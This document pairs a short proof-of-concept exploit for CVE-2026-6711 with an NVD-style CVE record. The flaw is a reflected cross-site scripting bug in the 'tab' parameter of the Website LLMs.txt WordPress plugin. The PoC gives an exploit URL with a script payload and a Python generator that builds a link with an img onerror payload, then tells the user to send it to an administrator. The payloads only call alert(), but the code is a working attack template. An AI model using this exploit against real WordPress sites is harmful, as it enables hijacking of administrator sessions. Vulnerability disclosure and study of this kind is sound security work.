CVE-2026-6711

// PoC for CVE-2026-6711: Reflected XSS in Website LLMs.txt Plugin // Vulnerable parameter: 'tab' // The payload is injected into the URL and reflected in the response without sanitization. // Example Exploit URL: // http://target-wordpress-site/wp-content/plugins/website-llms-txt/admin.php?page=website-llms-txt-settings&tab=<script>alert('XSS')</script> // Python script to generate the link: import urllib.parse def generate_poc_url(base_url): # The malicious JavaScript payload payload = '<img src=x onerror=alert(1)>' # Constructing the query parameter # Note: The specific endpoint might vary, but 'tab' is the vulnerable parameter exploit_url = f"{base_url}?page=website-llms-txt-settings&tab={urllib.parse.quote(payload)}" return exploit_url if __name__ == "__main__": target = "http://example.com/wp-admin/admin.php" print(f"Send this URL to an admin: {generate_poc_url(target)}")

{"cve": {"id": "CVE-2026-6711", "sourceIdentifier": "[email protected]", "published": "2026-04-21T07:16:09.743", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Website LLMs.txt plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'tab' parameter in all versions up to, and including, 8.2.6. This is due to the use of filter_input() without a sanitization filter and insufficient output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3482210%40website-llms-txt&new=3482210%40website-llms-txt&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f5af155b-b65e-4cb1-a748-fc0fc5c6176d?source=cve", "source": "[email protected]"}]}}